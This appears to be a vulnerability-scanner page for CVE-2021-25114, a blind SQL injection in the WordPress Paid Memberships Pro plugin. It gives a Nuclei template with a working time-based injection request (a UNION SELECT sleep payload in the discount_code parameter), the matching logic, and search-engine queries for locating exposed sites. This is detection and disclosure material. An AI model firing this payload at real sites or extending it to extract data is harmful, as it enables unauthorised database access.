Browse / CVEs / CVE-2021-25114
CVE-2021-25114· strangerstudios / paid memberships pro· CWE-89
WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection
WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
Fix
Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.
How to confirm it
Send: @timeout: 15s ; GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js
Positive when: duration_1>=6 and contains(header_1, "application/json") and status_code == 200 and contains(body_2, 'other_discount_code_')Run it with nuclei: nuclei -id CVE-2021-25114 -u <target>
The full check
id: CVE-2021-25114
info:
name: WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
remediation: |
Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
- https://wordpress.org/plugins/paid-memberships-pro/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25114
- https://www.paidmembershipspro.com/pmpro-update-2-6-7-security-release/
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-25114
cwe-id: CWE-89
epss-score: 0.81828
epss-percentile: 0.9965
cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: strangerstudios
product: paid_memberships_pro
framework: wordpress
shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
fofa-query: body=/wp-content/plugins/paid-memberships-pro/
publicwww-query: /wp-content/plugins/paid-memberships-pro/
google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
tags: time-based-sqli,cve2021,cve,wp-plugin,wp,sqli,paid-memberships-pro,wpscan,wordpress,strangerstudios,vkev,vuln
http:
- raw:
- |
@timeout: 15s
GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- duration_1>=6
- contains(header_1, "application/json")
- status_code == 200
- contains(body_2, 'other_discount_code_')
condition: andReferences
- https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
- https://wordpress.org/plugins/paid-memberships-pro/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25114
- https://www.paidmembershipspro.com/pmpro-update-2-6-7-security-release/
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from